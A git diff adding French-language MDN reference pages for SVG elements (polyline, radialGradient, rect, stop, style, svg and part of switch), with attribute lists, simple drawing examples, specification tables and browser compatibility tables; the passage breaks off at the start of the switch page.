+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#PolygonElement', '&lt;polygon&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#PolygonElement', '&lt;polygon&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+
+
+<p>{{Compat("svg.elements.polygon")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Autres formes élémentaires en SVG: {{ SVGElement('circle') }}, {{ SVGElement('ellipse') }}, {{ SVGElement('line') }}, <strong>{{ SVGElement('polyline') }}</strong> et <strong>{{ SVGElement('rect') }}.</strong></li>
+</ul>
diff --git a/files/fr/web/svg/element/polyline/index.html b/files/fr/web/svg/element/polyline/index.html
new file mode 100644
index 0000000000..e692ae8c7f
--- /dev/null
+++ b/files/fr/web/svg/element/polyline/index.html
@@ -0,0 +1,179 @@
+---
+title: <polyline>
+slug: Web/SVG/Element/polyline
+tags:
+  - Element
+  - Graphisme
+  - Reference
+  - SVG
+translation_of: Web/SVG/Element/polyline
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément SVG <strong><code>&lt;polyline&gt;</code></strong> est une forme SVG basique qui crée des lignes entre plusieurs points. Un élément <code>polyline</code> est généralement utilisé pour créer des tracés ouverts car le dernier point n'est pas nécessairement connecté avec le premier. Lorsqu'on désire réaliser des formes fermées, on privilégiera l'élément {{SVGElement("polygon")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_universels">Attributs universels</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel">Attributs de traitement conditionnel</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs principaux</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_d%27%C3%A9v%C3%A9nement_graphique">Attributs relatifs aux évènements graphiques</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+ <li>{{SVGAttr("transform")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("points")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGPolylineElement")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_basique">Utilisation basique</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html">&lt;svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;polyline fill="none" stroke="black"
+      points="20,100 40,60 70,80 100,20"/&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utilisation_basique", 120, 120)}}</p>
+
+<h3 id="Escaliers">Escaliers</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="contain-demo"&gt;
+  &lt;svg width="150" height="200"&gt;
+    &lt;desc&gt;
+      Première polyligne orange avec
+      remplissage blanc.
+    &lt;/desc&gt;
+    &lt;polyline
+        points="0,40 40,40 40,80 80,80 80,120 120,120 120,160"
+        fill="white" stroke="#D07735" stroke-width="6" /&gt;
+  &lt;/svg&gt;
+  &lt;svg width="150" height="200"&gt;
+    &lt;desc&gt;
+      Seconde polyligne orange avec
+      remplissage jaune.
+    &lt;/desc&gt;
+    &lt;polyline
+        points="0,40 40,40 40,80 80,80 80,120 120,120 120,160"
+        fill="#F9F38C" stroke="#D07735" stroke-width="6" /&gt;
+  &lt;/svg&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.contain-demo {
+  margin: 25px auto;
+  text-align: center;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Escaliers", 400, 500)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'shapes.html#PolylineElement', '&lt;polyline&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'shapes.html#PolylineElement', '&lt;polyline&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9.0")}}</td>
+   <td>{{CompatOpera("8.0")}}</td>
+   <td>{{CompatSafari("3.0.4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatAndroid("3.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari("3.0.4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/radialgradient/index.html b/files/fr/web/svg/element/radialgradient/index.html
new file mode 100644
index 0000000000..389e54aec3
--- /dev/null
+++ b/files/fr/web/svg/element/radialgradient/index.html
@@ -0,0 +1,157 @@
+---
+title: <radialGradient>
+slug: Web/SVG/Element/radialGradient
+tags:
+  - Element
+  - SVG
+  - SVG Dégradé
+translation_of: Web/SVG/Element/radialGradient
+---
+<div>{{SVGRef}}</div>
+
+<div>L'élément <a href="/fr/docs/Web/SVG">SVG </a><strong><code>&lt;radialGradient&gt;</code></strong> permet de définir un dégradé radial afin de dessiner un contour, ou de remplir des éléments SVG.</div>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Attributs_de_pr%C3%A9sentation">Références des attributs SVG</a> »</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Attributs_XLink">Attributs Xlink</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("gradientUnits")}}</li>
+ <li>{{SVGAttr("gradientTransform")}}</li>
+ <li>{{SVGAttr("cx")}}</li>
+ <li>{{SVGAttr("cy")}}</li>
+ <li>{{SVGAttr("r")}}</li>
+ <li>{{SVGAttr("fx")}}</li>
+ <li>{{SVGAttr("fy")}}</li>
+ <li>{{SVGAttr("fr")}}</li>
+ <li>{{SVGAttr("spreadMethod")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGRadialGradientElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="120" height="120" viewBox="0 0 120 120"
+   xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;defs&gt;
+    &lt;radialGradient id="exampleGradient"&gt;
+      &lt;stop offset="10%" stop-color="gold"/&gt;
+      &lt;stop offset="95%" stop-color="green"/&gt;
+    &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;circle fill="url(#exampleGradient)" cx="60" cy="60" r="50"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Exemple', 120, 120, '', 'Web/SVG/Element/radialGradient') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#RadialGradients', '&lt;radialGradient&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Added <code>fr</code> attribute</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#RadialGradients', '&lt;radialGradient&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome('1.0')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop('1.8')}}</td>
+   <td>{{CompatIE('9.0')}}</td>
+   <td>{{CompatOpera('9.0')}}</td>
+   <td>{{CompatSafari('3.0.4')}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatAndroid('3.0')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile('1.8')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('3.0.4')}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Le tableau est basé sur <a href="/en-US/docs/Web/SVG/Compatibility_sources">ces ressources</a>.</p>
+
+<p>[1] WebKit ne supporte pas l'interpolation des couleurs ({{WebKitBug("6034")}}).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/rect/index.html b/files/fr/web/svg/element/rect/index.html
new file mode 100644
index 0000000000..1ccebc8c09
--- /dev/null
+++ b/files/fr/web/svg/element/rect/index.html
@@ -0,0 +1,74 @@
+---
+title: <rect>
+slug: Web/SVG/Element/rect
+tags:
+  - SVG
+  - SVG Element
+  - SVG Reference
+translation_of: Web/SVG/Element/rect
+---
+<div>{{SVGRef}}{{Draft("Cette version n'est pas à jour relativement à la version anglaise de référence, merci d'en tenir compte.")}}</div>
+
+<p>L'élément <code>rect</code> est un élément de Formes basiques, utilisé pour dessiner des rectangles à partir de la  position d'un angle, de largeur et de la hauteur. Il peut aussi être utilisé avec des arrondis.</p>
+
+<h2 id="Usage">Usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<div class="hidden">
+<pre class="brush: css"><code>html,body,svg { height:100% }</code></pre>
+</div>
+
+<pre class="brush: html"><code>&lt;svg viewBox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Simple rect element --&gt;
+  &lt;rect x="0" y="0" width="100" height="100" /&gt;
+
+  &lt;!-- Rounded corner rect element --&gt;
+  &lt;rect x="120" y="0" width="100" height="100" rx="15" ry="15" /&gt;
+&lt;/svg&gt;</code></pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, '100%')}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_Globaux">Attributs Globaux</h3>
+
+<ul>
+ <li><a href="/fr/SVG/Attribute#ConditionalProccessing" title="fr/SVG/Attribute#ConditionalProccessing">Attributs conditionnels</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Core" title="fr/SVG/Attribute#Core">Attributs centraux</a> »</li>
+ <li><a href="/fr/SVG/Attribute#GraphicalEvent" title="fr/SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Presentation" title="fr/SVG/Attribute#Presentation">Attributs de présentation</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/en/DOM/SVGRectElement" title="en/DOM/SVGRectElement">SVGRectElement</a></code> .</p>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<p>{{Compat("svg.elements.rect")}}</p>
+
+<p> </p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("path") }}</li>
+</ul>
diff --git a/files/fr/web/svg/element/stop/index.html b/files/fr/web/svg/element/stop/index.html
new file mode 100644
index 0000000000..4d46a93753
--- /dev/null
+++ b/files/fr/web/svg/element/stop/index.html
@@ -0,0 +1,100 @@
+---
+title: <stop>
+slug: Web/SVG/Element/stop
+translation_of: Web/SVG/Element/stop
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <a href="/en-US/docs/Web/SVG">SVG</a> <strong><code>&lt;stop&gt;</code></strong> définit une couleur supplémentaire dans une palette à utiliser pour un dégradé, et est contenu dans un élément {{SVGElement("linearGradient")}} ou {{SVGElement("radialGradient")}}.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Attributs de base</a></li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation_attributes">Attributs de présentation</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+</ul>
+
+<h3 id="Specific_attributes">Specific attributes</h3>
+
+<ul>
+ <li>{{SVGAttr("offset")}}</li>
+ <li>{{SVGAttr("stop-color")}}</li>
+ <li>{{SVGAttr("stop-opacity")}}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>Cet élément implémenté l'interface {{domxref("SVGStopElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg width="160" height="95" viewBox="0 0 80 40"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;defs&gt;
+    &lt;linearGradient id="MyGradient"&gt;
+      &lt;stop offset="5%" stop-color="#F60" /&gt;
+      &lt;stop offset="95%" stop-color="#FF6" /&gt;
+    &lt;/linearGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;!-- Contour de la zone de dessin en noir --&gt;
+  &lt;rect fill="none" stroke="black"
+        x="0.5" y="0.5" width="79" height="39"/&gt;
+
+  &lt;!-- Le rectangle est rempli avec un dégradé linéaire --&gt;
+  &lt;rect fill="url(#MyGradient)" stroke="black" stroke-width="1"
+        x="10" y="10" width="60" height="20"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example", 160, 95)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#GradientStops', '&lt;stop&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#GradientStops', '&lt;stop&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de comptabilité sur cette page est généré depuis des données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une requête d'envoi.</div>
+
+<p>{{Compat("svg.elements.stop")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("linearGradient")}}</li>
+ <li>{{SVGElement("radialGradient")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/style/index.html b/files/fr/web/svg/element/style/index.html
new file mode 100644
index 0000000000..b053d89292
--- /dev/null
+++ b/files/fr/web/svg/element/style/index.html
@@ -0,0 +1,136 @@
+---
+title: <style>
+slug: Web/SVG/Element/style
+translation_of: Web/SVG/Element/style
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>style</code> permet d'intégrer directement des feuilles de style dans un contenu SVG. L'élément style de SVG possède les mêmes attributs que l'élément correspondant au format HTML (voir l'élément HTML {{HTMLElement("style")}}).</p>
+
+<h2 id="Contexte_d'utilisation" lang="fr">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg width="100%" height="100%" viewBox="0 0 100 100"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style&gt;
+    /* &lt;![CDATA[ */
+    circle {
+      fill: orange;
+      stroke: black;
+      stroke-width: 10px; // Note that the value of a pixel depend on the viewBox
+    }
+    /* ]]&gt; */
+  &lt;/style&gt;
+
+  &lt;circle cx="50" cy="50" r="40" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p><span class="short_text" id="result_box" lang="fr"><span class="hps">Résultat en direct</span><span>:</span></span></p>
+
+<p>{{EmbedLiveSample("Exemple",150,165)}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_Globaux">Attributs Globaux</h3>
+
+<ul>
+ <li><a href="/en-US/SVG/Attribute#Core">Core attributes</a> »</li>
+</ul>
+
+<h3 id="Attributs_Specifiques">Attributs Specifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("type")}}</li>
+ <li>{{SVGAttr("media")}}</li>
+ <li>{{SVGAttr("title")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implemente l'interface <code><a href="/en-US/DOM/SVGStyleElement">SVGStyleElement</a></code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'styling.html#StyleElement', '&lt;style&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'styling.html#StyleElement', '&lt;style&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs"><span class="short_text" id="result_box" lang="fr"><span class="hps">Compatibilité avec les navigateurs</span></span></h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span class="short_text" id="result_box" lang="fr"><span class="hps">Fonctionnalité</span></span></th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td><span class="short_text" id="result_box" lang="fr"><span class="hps">Support de base</span></span></td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop('1.8')}}</td>
+   <td>{{CompatIE('9.0')}}</td>
+   <td>{{CompatOpera('9.0')}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span class="short_text" id="result_box" lang="fr"><span class="hps">Fonctionnalité</span></span></th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span class="short_text" id="result_box" lang="fr"><span class="hps">Support de base</span></span></td>
+   <td>{{CompatAndroid('3.0')}}</td>
+   <td>{{CompatGeckoMobile('1.8')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Ce tableau est basé sur <a href="/en-US/SVG/Compatibility_sources">ces sources</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/HTML/Element/style">&lt;style&gt; element in HTML</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/svg/index.html b/files/fr/web/svg/element/svg/index.html
new file mode 100644
index 0000000000..cd9e15dd9f
--- /dev/null
+++ b/files/fr/web/svg/element/svg/index.html
@@ -0,0 +1,154 @@
+---
+title: <svg>
+slug: Web/SVG/Element/svg
+translation_of: Web/SVG/Element/svg
+---
+<p>L'élément <code>svg</code> peut être utilisé pour intégrer des fragments de code SVG à l'intérieur d'un document (par exemple, un document HTML). Ce fragment de code SVG dispose de ses propres <a href="/en-US/docs/">viewport</a> et système de coordonnée.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Prenons le fichier SVG suivant (représentant le drapeau nationnal de l'Italie) :</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg"
+     width="150" height="100" viewBox="0 0 3 2"&gt;
+
+  &lt;rect width="1" height="2" x="0" fill="#008d46" /&gt;
+  &lt;rect width="1" height="2" x="1" fill="#ffffff" /&gt;
+  &lt;rect width="1" height="2" x="2" fill="#d2232c" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Ce fichier peut être inclus dans un document HTML5 de cette façon :</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;Exemple mêlant HTML &amp; SVG&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+  &lt;svg width="150" height="100" viewBox="0 0 3 2"&gt;
+    &lt;rect width="1" height="2" x="0" fill="#008d46" /&gt;
+    &lt;rect width="1" height="2" x="1" fill="#ffffff" /&gt;
+    &lt;rect width="1" height="2" x="2" fill="#d2232c" /&gt;
+  &lt;/svg&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#DocumentEvent">Document event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Presentation">Presentation attributes</a> »</li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("version")}}</li>
+ <li>{{SVGAttr("baseProfile")}}</li>
+ <li>{{SVGAttr("x")}}</li>
+ <li>{{SVGAttr("y")}}</li>
+ <li>{{SVGAttr("width")}}</li>
+ <li>{{SVGAttr("height")}}</li>
+ <li>{{SVGAttr("preserveAspectRatio")}}</li>
+ <li>{{SVGAttr("contentScriptType")}}</li>
+ <li>{{SVGAttr("contentStyleType")}}</li>
+ <li>{{SVGAttr("viewBox")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cette élément implémente l'interface <code><a href="/en-US/docs/Web/API/SVGSVGElement">SVGSVGElement</a></code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'struct.html#NewDocument', '&lt;svg&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'struct.html#NewDocument', '&lt;svg&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome("1.0")}}</td>
+   <td>{{CompatGeckoDesktop('1.8')}}</td>
+   <td>{{CompatIE('9.0')}}</td>
+   <td>{{CompatOpera('8.0')}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatAndroid('3.0')}}</td>
+   <td>{{CompatGeckoMobile('1.8')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('3.0.4')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Ce tableau est basé d'après ces <a href="/fr/docs/Web/SVG/Sources_compatibilite">sources de thèses</a>.</p>
+
+<p>{{SVGRef}}</p>
diff --git a/files/fr/web/svg/element/switch/index.html b/files/fr/web/svg/element/switch/index.html
new file mode 100644
index 0000000000..6bc818ab0c
--- /dev/null
+++ b/files/fr/web/svg/element/switch/index.html
@@ -0,0 +1,93 @@
+---
+title: <switch>
+slug: Web/SVG/Element/switch
+tags:
+  - Element
+  - SVG
